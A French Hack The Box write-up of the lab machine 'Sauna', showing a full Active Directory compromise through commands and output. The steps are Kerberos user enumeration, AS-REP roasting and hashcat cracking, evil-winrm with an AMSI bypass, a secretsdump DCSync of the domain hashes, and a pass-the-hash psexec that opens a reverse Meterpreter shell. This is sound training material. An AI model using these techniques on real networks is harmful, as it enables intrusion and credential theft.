06 Avr

HTB – Sauna – Write-up

Introduction

Voici une machine virtuelle très intéressante que je recommande fortement aux débutants qui veulent améliorer leurs connaissances sur Windows, notamment Active Directory.

La phase d’énumération sera la plus importante sur cette machine. Tellement importante que nous pourrions la catégoriser au niveau Medium si je devais la comparer à d’autres anciennes VM comme Legacy, Optimum ou encore Blue.

Les informations que nous avons à notre disposition sont :

  • IPv4 = 10.10.10.175
  • Nom de la VM = sauna.htb (par défaut chez HTB)

J’ai utilisé une VM Kali Rolling pour cet article. La plupart des outils utilisés sont disponibles par défaut et certains seront à téléchargés. Nous utiliserons différentes techniques pour parvenir à nos fins.

Phase de reconnaissance

Par habitude j’effectue un scan (TCP) complet de la machine virtuelle de cette manière :

nmap -A -T4 -sV -p1-65535 -Pn -n --stats-every 10 10.10.10.175 --min-rate 100 -oN nmap-sauna-complete.txt

Cela permet d’identifier tous les ports ouverts avec leurs services respectifs et c’est suffisamment rapide.

Avec un scan classique (–top-ports 1000) nous aurions raté 8 ports ouverts :

root@HTB:~/HTB/Sauna# grep -c open nmap-sauna.txt
13
root@HTB:~/HTB/Sauna# grep -c open nmap-sauna-complete.txt
21

Voici la totalité des 21 ports (TCP) ouverts :

53/tcp open domain?
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-06 03:30:49Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49686/tcp open msrpc Microsoft Windows RPC
61968/tcp open msrpc Microsoft Windows RPC

Nous voyons ici que parmi les ports supplémentaires identifiés nous avons le port TCP 5985 qui correspond à Windows Remote Management (WinRM), qui sera fort utile pour obtenir un shell plus tard.

Et nous avons trois ports UDP d’ouverts, dont NTP :

oot@HTB:~/HTB/Sauna# nmap -sU -p1-65535 -Pn -n --stats-every 10 10.10.10.175 --min-rate 100 -oN nmap-sauna-udp-complete.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-06 11:28 EDT
Nmap scan report for 10.10.10.175
Host is up (0.042s latency).
Not shown: 65532 open|filtered ports
PORT STATE SERVICE
53/udp open domain
123/udp open ntp
389/udp open ldap
Nmap done: 1 IP address (1 host up) scanned in 514.51 seconds

Phase d’énumération 1/2

D’après les ports ouverts nous voyons qu’il s’agit un contrôleur de domaine. Nous allons tenter de chercher des utilisateurs du domaine.

Nous pouvons interroger le service MS-RPC de Windows à travers Samba et une Null session, mais on ne peut pas récupérer grand chose :

root@HTB:~/HTB/Sauna# rpcclient -U "" -N 10.10.10.175
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomains
result was NT_STATUS_ACCESS_DENIED
rpcclient $> netshareenum
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> srvinfo
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> lsaenumsid
result was NT_STATUS_ACCESS_DENIED
root@HTB:~/HTB/Sauna# smbmap -H 10.10.10.175
[+] IP: 10.10.10.175:445 Name: sauna.htb
root@HTB:~/HTB/Sauna#

Le compte « guest » est même désactivé :

root@HTB:~/HTB/Sauna# smbclient -L 10.10.10.175 -U guest%
session setup failed: NT_STATUS_ACCOUNT_DISABLED
root@HTB:~/HTB/Sauna#

Nous allons voir du côté de l’annuaire LDAP. On va d’abord tenter de récupérer son DN par défaut de manière anonyme ainsi que le nom de domaine :

root@HTB:~/HTB/Sauna# ldapsearch -LLL -x -H ldap://10.10.10.175 -b '' -s base '(objectclass=*)' | grep -iE '(defaultnamingcontext|dnsHostName)'
dnsHostName: SAUNA.EGOTISTICAL-BANK.LOCAL
defaultNamingContext: DC=EGOTISTICAL-BANK,DC=LOCAL

Parfait. Ensuite, j’utilise JXplorer qui est plus visuel pour moi surtout quand il y a beaucoup d’informations :

JXplorer

Mais là aussi la pêche est maigre, juste le nom d’un utilisateur sans plus d’informations :

JXplorer en mode anonyme

J’ai commencé à regarder le site Web en profondeur (fuzzing), c’est un site Web « statique » avec une seule page Web avec des ancres :

root@HTB:~/HTB/Sauna# patator http_fuzz url=http://sauna.htb/FILE0 0=~/wordlists/dirbuster/directory-list-2.3-medium.txt -x ignore:code=404 -x ignore,retry:code=500 -t 50
21:14:44 patator INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2020-04-05 21:14 EDT
21:14:48 patator INFO -
21:14:48 patator INFO - code size:clen time | candidate | num | mesg
21:14:48 patator INFO - -----------------------------------------------------------------------------
…
21:14:50 patator INFO - 200 33019:32797 0.337 | # | 10 | HTTP/1.1 200 OK
21:14:50 patator INFO - 200 33019:32797 0.448 | # | 13 | HTTP/1.1 200 OK
21:14:50 patator INFO - 301 343:147 0.508 | images | 16 | HTTP/1.1 301 Moved Permanently
21:14:50 patator INFO - 200 33019:32797 0.594 | # on atleast 2 different hosts | 12 | HTTP/1.1 200 OK
21:14:50 patator INFO - 200 33019:32797 0.527 | | 14 | HTTP/1.1 200 OK
21:14:51 patator INFO - 301 343:147 0.052 | Images | 203 | HTTP/1.1 301 Moved Permanently
21:14:53 patator INFO - 301 337:144 0.034 | css | 550 | HTTP/1.1 301 Moved Permanently
21:14:59 patator INFO - 301 341:146 0.049 | fonts | 2771 | HTTP/1.1 301 Moved Permanently
21:15:00 patator INFO - 301 343:147 0.037 | IMAGES | 3673 | HTTP/1.1 301 Moved Permanently
21:15:03 patator INFO - 301 341:146 0.030 | Fonts | 5582 | HTTP/1.1 301 Moved Permanently
21:15:07 patator INFO - 301 337:144 0.021 | CSS | 8475 | HTTP/1.1 301 Moved Permanently
21:19:48 patator INFO - Hits/Done/Skip/Fail/Size: 22/220560/0/0/220560, Avg: 734 r/s, Time: 0h 5m 0s

Du coup, je me suis arrêté sur la partie qui évoque l’équipe, on récupère une liste de noms et un message :

root@HTB:~/HTB/Sauna# lynx http://10.10.10.175/about.html#team
Une liste de noms et un message…
Meet the team. So many bank account managers but only one security manager. Sounds about right!

Nous devrions être sur la bonne voie ! Je décide de créer un fichier texte avec une liste de logon\login possibles pour chacun d’eux. Un exemple ci-dessous pour « Fergus Smith » (fichier à disposition) :

fergus_smith
fergus-smith
fergus.smith
fsmith
f.smith
smithf
fsmith@EGOTISTICAL-BANK.LOCAL

A partir de là nous allons pouvoir énumerer ceux qui seraient valides. On va commencer avec Nmap via Keberos :

root@HTB:~/HTB/Sauna# nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm='"EGOTISTICAL-BANK.LOCAL"',userdb="'users.txt'" 10.10.10.175
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-06 11:00 EDT
Nmap scan report for sauna.htb (10.10.10.175)
Host is up (0.022s latency).
PORT STATE SERVICE
88/tcp open kerberos-sec
| krb5-enum-users:
| Discovered Kerberos principals
| sauna@EGOTISTICAL-BANK.LOCAL
| administrator@EGOTISTICAL-BANK.LOCAL
|_ hsmith@EGOTISTICAL-BANK.LOCAL
Nmap done: 1 IP address (1 host up) scanned in 1.63 seconds

Je suis surpris par le maigre résultat et décide d’utiliser deux autres outils qui portent le même nom « Kerbrute » :

Avant cela, nous devons mettre à jour le résolveur DNS, fichier /etc/resolv.conf au niveau du domaine par défaut et surtout le serveur DNS à utiliser :

root@HTB:~/HTB/Sauna/kerbrute# cat /etc/resolv.conf
search EGOTISTICAL-BANK.LOCAL
nameserver 10.10.10.175

Sans cela vous auriez un message de ce type :

2020/04/06 11:46:58 > Couldn't find any KDCs for realm EGOTISTICAL-BANK.LOCAL. Please specify a Domain Controller

Une fois les changements enregistrés, nous lancons le premier outil en précisant bien le domaine. Et là surprise on a beaucoup plus de réponses :

root@HTB:~/HTB/Sauna/kerbrute# dist/kerbrute_linux_amd64 userenum -d EGOTISTICAL-BANK.LOCAL ../users.txt
...
2020/04/06 11:45:47 > Using KDC(s):
2020/04/06 11:45:47 > SAUNA.EGOTISTICAL-BANK.LOCAL:88
2020/04/06 11:45:47 > [+] VALID USERNAME: fsmith@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > [+] VALID USERNAME: hsmith@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > [+] VALID USERNAME: administrator@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > [+] VALID USERNAME: sauna@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > [+] VALID USERNAME: hsmith@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > [+] VALID USERNAME: sauna@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > [+] VALID USERNAME: fsmith@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > [+] VALID USERNAME: administrator@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > Done! Tested 55 usernames (8 valid) in 0.394 seconds

Nous avons donc 8*2 = 16 login (avec et sans nom de domaine). Avec le deuxième outil nous avons d’autres informations encore plus intéressantes. Je l’utilise sans faire de brutefore du mot de passe :

root@HTB:~/HTB/Sauna# python ../kerbrute/kerbrute.py -domain EGOTISTICAL-BANK.LOCAL -users users.txt
Impacket v0.9.22.dev1+20200327.103853.7e505892 - Copyright 2020 SecureAuth Corporation
[] Valid user => hsmith
[] Valid user => fsmith [NOT PREAUTH]
[] Valid user => administrator
[] Valid user => sauna
[] Blocked/Disabled user => guest
[] Valid user => hsmith@EGOTISTICAL-BANK.LOCAL
[] Valid user => sauna@EGOTISTICAL-BANK.LOCAL
[] Valid user => administrator@EGOTISTICAL-BANK.LOCAL
[] Valid user => fsmith@EGOTISTICAL-BANK.LOCAL [NOT PREAUTH]
[] No passwords were discovered :'(

Avec cette liste nous serions tenter de faire un Bruteforce mais nous allons éviter de faire cela afin de ne pas bloquer les comptes. On a un moyen plus rapide et plus discret pour arriver à nos fins.

En effet, on apprend qu’un des utilisateurs (fsmith) a l’option « Ne nécessite pas de préauthentification Kerberos » (NOT PREAUTH) de cochée. Un exemple ci dessous :

Option cochée pour l’utilisateur « Fergus Smith »

Cela signifie que n’importe qui peut envoyer une demande au nom de l’un de ces utilisateurs et recevoir un message (détails dans cet article). Ce dernier type de message contient un bloc de données chiffrées avec la clé utilisateur d’origine, dérivée de son mot de passe. Ensuite, en utilisant ce message, le mot de passe utilisateur peut être craqué hors ligne. On parle de l’attaque ASREPRoast.

Phase d’exploitation 1/2

Avant de mener l’attaque nous devons synchroniser notre horloge sur celle du derveur :

root@HTB:~/HTB/Sauna# ntpdate SAUNA.EGOTISTICAL-BANK.LOCAL
6 Apr 21:16:31 ntpdate[11369]: step time server 10.10.10.175 offset +25374.471851 sec

Ensuite allons récupérer le fameux message appelé TGT auprès du serveur Kerberos. Nous utiliserons l’un des outils de la collection Impacket, GetNPUsers.py, et on l’exporte au format « Hashcat » :

root@HTB:~/HTB/Sauna# GetNPUsers.py EGOTISTICAL-BANK.LOCAL/fsmith -request -format hashcat -outputfile fsmith.hash.asreproast -no-pass
Impacket v0.9.22.dev1+20200327.103853.7e505892 - Copyright 2020 SecureAuth Corporation
[*] Getting TGT for fsmith
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:2ea9fed029e3d054273405ba696517c7$3dc1e7be65f46d81dda94c507cd831a45661448b6340d3e7c5d13734fd66e153f35149d1b6194ba9fa1cbd98314b8052bc7cb56427f635f4b573de9ae007ffdca42c26c0a22cd8359b2f6daa1761b4ad020ded1a6ad20cb8bc1612a2667058855d85301f1a06927b2e7a2043ea5cacf82dfe2f5dd3044de08289c41535b759148b310d9ddb88235b8676e8acfa528d119a22019bb0e6373a398bbddc4bd9768fff166237b4056955c8d448c4039a67f9ef9fbd4e54d2cb3b7975ebaeca2d751b98eaf3f5592d77710a378ea0fda98506057b7fe1f1dfe40075bd4097481cca66a9ac95c0df25e0fc9e99d222b9cec913cb12943eb7003911c4f69081fa38cc4d

Ca fonctionne ! Si on essaye avec un autre utilisateur qui n’a pas l’option « No Pre-Authentication » nous aurions ce message d’erreur :

[-] User hsmith doesn't have UF_DONT_REQUIRE_PREAUTH set

Nous allons ensuite tenter de craquer ce hash avec l’outil « Hashcat » en utilisant le dictionnaire bien connu « rockyou.txt » :

root@HTB:~/HTB/Sauna# hashcat -m 18200 --force -a 0 fsmith.hash.asreproast ~/wordlists/rockyou.txt

Et après quelques minutes (c’est relativement rapide), nous avons trouvé le mot de passe du compte !

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:...:Thestrokes23
Session……….: hashcat
Status………..: Cracked

Nous allons maintenant nous connecter au serveur et obtenir un shell. Nous utiliserons l’outil Evil-WINRM qui offre beaucoup de fonctionnalités :

root@HTB:~/HTB/Sauna# evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\FSmith\Documents>

Nous pouvons obtenir le premier drapeau user.txt :

Evil-WinRM PS C:\Users\FSmith\Documents> cd ../Desktop
Directory: C:\Users\FSmith\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/23/2020 10:03 AM 34 user.txt
Evil-WinRM PS C:\Users\FSmith\Desktop> more user.txt
1b5520b98d97cf17f24122a55baf70cf

Ce compte ne permet pas de passer « Administrator » directement (en tous les cas je n’ai pas trouvé). Par contre, il nous donne de nouvelles informations utiles comme ici au niveau des partages mais aussi de la liste des comptes du domaine, notamment le compte (de service) svc_loanmgr :

root@HTB:~/HTB/Sauna# smbmap -u fsmith -p Thestrokes23 -d EGOTISTICAL-BANK.LOCAL -H 10.10.10.175
[+] IP: 10.10.10.175:445 Name: sauna.htb
Disk                         Permissions Comment
----                         ----------- -------
ADMIN$                       NO ACCESS   Remote Admin
C$                           NO ACCESS   Default share
IPC$                         READ ONLY   Remote IPC
NETLOGON                     READ ONLY   Logon server share
print$                       READ ONLY   Printer Drivers
RICOH Aficio SP 8300DN PCL 6 NO ACCESS   We cant print money
SYSVOL                       READ ONLY   Logon server share
root@HTB:~/HTB/Sauna# rpcclient -U EGOTISTICAL-BANK.LOCAL/fsmith@EGOTISTICAL-BANK.LOCAL 10.10.10.175
Enter EGOTISTICAL-BANK.LOCAL/fsmith@EGOTISTICAL-BANK.LOCAL's password:
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[HSmith] rid:[0x44f]
user:[FSmith] rid:[0x451]
user:[svc_loanmgr] rid:[0x454]

Les répertoires ne donnent pas beaucoup d’informations. Et impossible d’obtenir les hashs des comptes avec un autre outil de la suite Impacket, secretdump.py :

root@HTB:~/HTB/Sauna# secretsdump.py fsmith@EGOTISTICAL-BANK.LOCAL
Impacket v0.9.22.dev1+20200327.103853.7e505892 - Copyright 2020 SecureAuth Corporation
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) 
[] Using the DRSUAPI method to get NTDS.DIT secrets
[-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified for this replication operation is invalid.
[] Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter 
[] Cleaning up…

Phase d’énumération 2/2

Après une recherche infructueuse, nous allons faire une recherche plus approfondie toujours avec notre usager fsmith en utilisant l’outil WindowsEnum.

Avant cela nous allons désactiver la protection PowerShell AMSI afin de pouvoir utiliser pleinement notre script. Taper menu puis Bypass-4MSI :

Evil-WinRM PS C:\Users\FSmith\Documents> menu
...
By: CyberVaca, OscarAkaElvis, Laox @Hackplayers
[+] Bypass-4MSI
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
Evil-WinRM PS C:\Users\FSmith\Documents> Bypass-4MSI
[+] Patched! :D

Puis on upload notre script :

Evil-WinRM PS C:\Users\FSmith\Documents> upload WindowsEnum/WindowsEnum.ps1
Info: Uploading WindowsEnum/WindowsEnum.ps1 to C:\Users\FSmith\Documents\WindowsEnum.ps1
Data: 9492 bytes of 9492 bytes copied
Info: Upload successful!

On lance ensuite le script de cette manière (sans le mode étendu) et on patiente un peu :

Evil-WinRM PS C:\Users\FSmith\Documents> powershell -nologo -executionpolicy bypass -file WindowsEnum.ps1

Après quelques minutes on obtient le résultat. Il faut prendre le temps de bien lire ! Je n’ai pas vu tout de suite mais voici ce que l’on a sous nos yeux :

User Autologon Registry Items
DefaultDomainName DefaultUserName DefaultPassword
----------------- --------------- ---------------
EGOTISTICALBANK EGOTISTICALBANK\svc_loanmanager Moneymakestheworldgoround!

Et oui 🙂 on a un deuxième compte (de service) en mode « Auto logon » avec le mot de passe.

A partir de là, beaucoup vont se faire avoir, moi le premier ! Rappelez-vous, nous avions trouvé les comptes de domaines mais le logon n’était pas le même pour celui-ci ! Il faut donc utiliser le bon pour la suite à savoir svc_loanmgr et non svc_loanmanager.

Voyons si nous pouvons obtenir plus de droits avec cet utilisateur :

root@HTB:~/HTB/Sauna# smbmap -u svc_loanmgr -p Moneymakestheworldgoround! -d EGOTISTICAL-BANK.LOCAL -H 10.10.10.175
[+] IP: 10.10.10.175:445 Name: sauna.htb
Disk                         Permissions Comment
----                         ----------- -------
ADMIN$                       NO ACCESS   Remote Admin
C$                           NO ACCESS   Default share
IPC$                         READ ONLY   Remote IPC
NETLOGON                     READ ONLY   Logon server share
print$                       READ ONLY   Printer Drivers
RICOH Aficio SP 8300DN PCL 6 NO ACCESS   We cant print money
SYSVOL                       READ ONLY   Logon server share

Ca commence mal… essayons de récupérer à nouveau les hashs des comptes :

root@HTB:~/HTB/Sauna# secretsdump.py svc_loanmgr@EGOTISTICAL-BANK.LOCAL
Impacket v0.9.22.dev1+20200327.103853.7e505892 - Copyright 2020 SecureAuth Corporation
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:9bd54ba212681ea79bd12be719942ff2:::
...
[] Cleaning up…

Bingo ! 🙂 On peut les récupérer !

Phase d’exploitation 2/2

Pour la suite nous utiliserons Metasploit, pour changer un peu, et notamment le module exploit/windows/smb/psexec qui permet d’utiliser directement le hash du mot de passe (technique du Pass the Hash) :

msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting                                                    Required  Description
   ----                  ---------------                                                    --------  -----------
   RHOSTS                SAUNA.EGOTISTICAL-BANK.LOCAL                                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT                 445                                                                yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                                                                      no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                     no        The service display name
   SERVICE_NAME                                                                             no        The service name
   SHARE                 ADMIN$                                                             yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             EGOTISTICAL-BANK.LOCAL                                             no        The Windows domain to use for authentication
   SMBPass               aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff  no        The password for the specified username
   SMBUser               Administrator                                                      no        The username to authenticate as

Il ne reste plus qu’à lancer notre attaque :

msf5 exploit(windows/smb/psexec) > run
[] Started reverse TCP handler on 10.10.14.11:4444 [] 10.10.10.175:445 - Connecting to the server…
[] 10.10.10.175:445 - Authenticating to 10.10.10.175:445|EGOTISTICAL-BANK.LOCAL as user 'Administrator'… [] 10.10.10.175:445 - Selecting PowerShell target
[] 10.10.10.175:445 - Executing the payload… [+] 10.10.10.175:445 - Service start timed out, OK if running a command or non-service executable… [] Sending stage (180291 bytes) to 10.10.10.175
[*] Meterpreter session 1 opened (10.10.14.11:4444 -> 10.10.10.175:61387) at 2020-04-07 00:07:45 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Voilà ! Nous avons un shell et sommes root cette fois 🙂 Il ne reste plus qu’à récupérer le drapeau root.txt :

meterpreter > shell
Process 5388 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd c:\users\administrator\desktop
cd c:\users\administrator\desktop
c:\Users\Administrator\Desktop>more root.txt
more root.txt
f3ee04965c68257382e31502cc5e881f

Conclusion

Nous voilà au bout de l’article. Comme évoqué en introduction, la phase d’énumération est vraiment importante sur cette machine virtuelle.

Avec du recul, elle n’est pas insurmontable techniquement mais demande un effort important d’analyse. On apprend beaucoup !

Note : j’ai aussi trouvé une faille avec le driver de l’imprimante mais impossible de l’exploiter. Le répertoire concerné est pourtant bien en R/W mais cela n’aboutit pas (via Metasploit).